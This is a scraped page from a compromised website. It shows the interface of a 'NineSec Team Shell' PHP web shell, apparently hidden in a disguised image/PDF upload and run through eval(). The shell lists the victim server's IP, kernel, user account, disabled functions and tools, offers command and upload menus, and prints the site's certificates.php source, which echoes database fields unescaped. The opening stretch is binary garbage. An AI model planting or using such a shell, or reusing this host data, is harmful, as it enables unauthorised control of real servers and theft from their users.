JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/certificates.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

require_once 'config/database.php';

$user_id = $_SESSION['user_id'];

// Get user's certificates
$stmt = $pdo->prepare("
    SELECT c.*, e.title as event_title, e.event_date, e.location 
    FROM certificates c 
    INNER JOIN events e ON c.event_id = e.id 
    WHERE c.user_id = ? 
    ORDER BY c.issued_date DESC
");
$stmt->execute([$user_id]);
$certificates = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Get events eligible for certificate generation
$eligible_events_stmt = $pdo->prepare("
    SELECT e.*, r.registration_date 
    FROM events e 
    INNER JOIN registrations r ON e.id = r.event_id 
    WHERE r.user_id = ? 
    AND r.status = 'approved'
    AND e.event_date < CURDATE() 
    AND NOT EXISTS (
        SELECT 1 FROM certificates c 
        WHERE c.event_id = e.id AND c.user_id = r.user_id
    )
    ORDER BY e.event_date DESC
");
$eligible_events_stmt->execute([$user_id]);
$eligible_events = $eligible_events_stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My Certificates - Princess UAE</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <style>
        .certificate-card {
            transition: transform 0.3s;
            border: none;
            border-radius: 15px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        .certificate-card:hover {
            transform: translateY(-5px);
        }
        .certificate-icon {
            color: #d4af37;
        }
    </style>
</head>
<body>
    <?php include 'includes/header.php'; ?>
    
    <div class="container mt-4">
        <div class="row">
            <div class="col-md-3">
                <?php include 'includes/dashboard_sidebar.php'; ?>
            </div>
            <div class="col-md-9">
                <div class="d-flex justify-content-between align-items-center mb-4">
                    <h2><i class="fas fa-certificate"></i> My Certificates</h2>
                    <span class="badge bg-success fs-6"><?php echo count($certificates); ?> Certificates</span>
                </div>

                <!-- Eligible Events Section -->
                <?php if (count($eligible_events) > 0): ?>
                <div class="card mb-4 border-warning">
                    <div class="card-header bg-warning text-dark">
                        <h5 class="mb-0"><i class="fas fa-clock"></i> Certificates Ready for Generation</h5>
                    </div>
                    <div class="card-body">
                        <p>You have <strong><?php echo count($eligible_events); ?> event(s)</strong> that are eligible for certificate generation. Click the generate button to create your certificate.</p>
                        <div class="row">
                            <?php foreach($eligible_events as $event): ?>
                                <div class="col-md-6 mb-3">
                                    <div class="card">
                                        <div class="card-body">
                                            <h6 class="card-title"><?php echo $event['title']; ?></h6>
                                            <p class="card-text">
                                                <small class="text-muted">
                                                    <i class="fas fa-calendar"></i> 
                                                    <?php echo date('F j, Y', strtotime($event['event_date'])); ?>
                                                </small>
                                                <br>
                                                <small class="text-muted">
                                                    <i class="fas fa-map-marker-alt"></i> 
                                                    <?php echo $event['location']; ?>
                                                </small>
                                            </p>
                                            <a href="generate_certificate.php?event_id=<?php echo $event['id']; ?>" 
                                               class="btn btn-warning btn-sm">
                                                <i class="fas fa-cog"></i> Generate Certificate
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    </div>
                </div>
                <?php endif; ?>

                <!-- Generated Certificates Section -->
                <div class="card">
                    <div class="card-header">
                        <h5 class="mb-0"><i class="fas fa-award"></i> Generated Certificates</h5>
                    </div>
                    <div class="card-body">
                        <?php if(count($certificates) > 0): ?>
                            <div class="row">
                                <?php foreach($certificates as $cert): ?>
                                    <div class="col-md-6 col-lg-4 mb-4">
                                        <div class="card certificate-card h-100">
                                            <div class="card-body text-center">
                                                <div class="certificate-icon mb-3">
                                                    <i class="fas fa-certificate fa-4x"></i>
                                                </div>
                                                <h6 class="card-title"><?php echo $cert['event_title']; ?></h6>
                                                <p class="card-text">
                                                    <small class="text-muted">
                                                        <i class="fas fa-calendar"></i> 
                                                        <?php echo date('F j, Y', strtotime($cert['event_date'])); ?>
                                                    </small>
                                                    <br>
                                                    <small class="text-muted">
                                                        <i class="fas fa-map-marker-alt"></i> 
                                                        <?php echo $cert['location']; ?>
                                                    </small>
                                                    <br>
                                                    <small class="text-muted">
                                                        <i class="fas fa-download"></i> 
                                                        Downloaded <?php echo $cert['download_count']; ?> times
                                                    </small>
                                                    <br>
                                                    <small class="text-muted">
                                                        <i class="fas fa-hashtag"></i> 
                                                        <?php echo $cert['certificate_number']; ?>
                                                    </small>
                                                </p>
                                            </div>
                                            <div class="card-footer bg-transparent">
                                                <div class="d-grid gap-2">
                                                    <a href="download_certificate.php?certificate_id=<?php echo $cert['id']; ?>" 
                                                       class="btn btn-success btn-sm">
                                                        <i class="fas fa-download"></i> Download PDF
                                                    </a>
                                                    <a href="certificate_preview.php?id=<?php echo $cert['id']; ?>" 
                                                       class="btn btn-outline-primary btn-sm" target="_blank">
                                                        <i class="fas fa-eye"></i> Preview
                                                    </a>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                <?php endforeach; ?>
                            </div>
                        <?php else: ?>
                            <div class="text-center py-5">
                                <i class="fas fa-certificate fa-4x text-muted mb-3"></i>
                                <h5>No Certificates Generated Yet</h5>
                                <p class="text-muted">Your certificates will appear here after you generate them from completed events.</p>
                                <a href="events.php" class="btn btn-primary">
                                    <i class="fas fa-calendar-alt"></i> View My Events
                                </a>
                            </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

NineSec Team - 2022